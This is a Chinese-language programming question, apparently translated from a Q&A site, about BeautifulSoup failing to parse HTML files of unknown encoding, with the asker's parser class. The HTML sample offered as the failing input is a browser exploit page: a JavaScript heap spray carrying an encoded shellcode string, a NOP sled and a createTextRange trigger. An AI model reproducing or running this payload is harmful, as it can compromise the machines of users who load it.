我正在尝试抓取大量未知编码的HTML文件。我选择BeautifulSoup而不是lxml解析器,因为它速度快且具有简单的API,但是我发现由于尝试将其解码为Unicode,它并不总是能够解析文件。
现在,我不一定需要它来解码HMTL中的文本,而是确定DOM的结构和所包含的标签;如果它们包含更多数据,我更愿意自己解码。 我尝试排除一些编码来解决此问题,但这也不总是可行。
可以以某种方式禁用此功能吗?
这是我的解析器的基础:
从bs4导入BeautifulSoup,评论,标签
class HTMLParser():
def __init__(self, data, exclude_encodings=None):
self.html_tree = BeautifulSoup(data, 'lxml', exclude_encodings=exclude_encodings)
self._tag_handlers = dict()
def start(self):
for node in self.html_tree.recursiveChildGenerator():
if isinstance(node, Tag):
if node.name in self._tag_handlers and self._tag_handlers[node.name] is not None:
self._tag_handlers[node.name](node)
elif isinstance(node, Comment):
self._handle_comment(node)
根据需要解析的内容以及如何加载相应的标记处理程序。
此外,这是导致问题的html示例:
<html> <head> <script language="javascript"> var shellcode_str = "}yÒüiõ—·BxC‘¾¿f±© Ñâ=*ù²|4{öã'uH@ ™´˜°q$áv?gN›’Ö¨%5I ,Ÿ(Ô“¸O-µA¶sFº‡øq!ë|+ü»~x'J¹B—¸=¶¾’“F9Õ·÷Ö/r?7CzNI:â$@ù–™wpg„ýf˜±A4º´²›%‘¨µy{ õt³,¿©O°v5GãþÀá2ÐÔ- K1à}<ŸuHyutB¿´ ø@kÔ²™‘˜¾»’CA#õ|fë?ý"ü-I ÖÓá/¶x7N,†ùwvzg}€â~ ¹%=±ºJ›sp'Ÿr5°¨H–4“ Kµ<ˆÕ— à$³©G{FqO¸·‰ã?Af·wq)ÿÇÆÁø–;á3ü{Nz ù…ë-~H¨›±º ³vu=C°0â}àtK™@¸$<¹©¶GJ¾|xg%Ÿ“B´’‘µsy ²p41Ö˜#Ô/ý;ãO—ÕI,»'F¿õr75†àköÀâzHu}KŒë Ÿp"á*÷ãv/´rO·~qf³’A ˜¹±B7=+Õ¿—C4N‡ø°»‘st,{F¾©IyÐÔƒý™g¸x5$%–|'“G-@?Jwõ0üº²¶›¨µ< ÓÖ„ùs w<¿°˜¸t âgCf7?¹»,(Ñãz} Òà¾3Ô¶´—Jº–%{Õ³·Ÿëý:õ±™µ“©u~pyvI’¨ø/GrFKqáH|)Ö!Áù‘…üxNzOq'u=²›{As8á$~5}4yàB|9ã@-™âCvÖtw4¾K» ü·F¿‘iý€õˆø7¶Jp›ºr x%µ“¹2ëGf‰ùB±5?© ˜/-¨’@O–=ŸÔ°—¸,²g³$<I´Õ'ANHÙÈÙt$ô¸ØÉZ•[+ɱH1CƒëüCâ-5²ÍÆC|D#r®2''~1eÄõž_{¿‘è6™œéö%r)˜Ù‰~zàAs{%¿|)þË/Þ‹ŽóUÇt‰Uªyužò<¸œ9ö3VÉ ’§28Úk ô×rI3¡Gµr5a”gâL&ȃŸ@0LûLŸs,ÅÛWè¸ö©kn©ÔÏ¡÷ØëŸéè`f{gR)×ïÞ¢ñè!™EfÜ"µ®våØŠ÷n2" Iœ€9\NhPS±ˆ[¹Ú"¡*ﲩ¸‡°© =O§£kÇP]6“Á¢íÙÂ)ŒÙl y*;o,5–Ñ£†[èáÃáßyÍw 2— ædý ŽÐ¥r«pç`‹z^Ô\j½Ÿfj‚IOèòÿ£0"; var nop_str = "ùHA"; var shellcode_total_length = 20 + shellcode_str.length; while(nop_str.length < shellcode_total_length) { nop_str += nop_str; } var nop_final = nop_str.substring(0,shellcode_total_length); var remaining_nops = nop_str.substring(0,nop_str.length-shellcode_total_length); while(remaining_nops.length + shellcode_total_length < 0x40000) { remaining_nops += nop_final; } var arr = new Array(); var counter = 0; var max_size = 2020; function func() { spain_id.innerHTML = Math.round((counter / max_size) * 100); if(counter < max_size) { arr.push(remaining_nops + shellcode_str); counter++; } else { spain_id.innerHTML = 100; element = document.createElement("input"); element.type = "image"; _FDPS = element.createTextRange(); } } function interval_func() { setInterval('func()', 5) } </script>
发生的事情是,即使BeautifulSoup对象显然具有脚本节点,也没有任何子对象进行解析,所以我的start方法无效。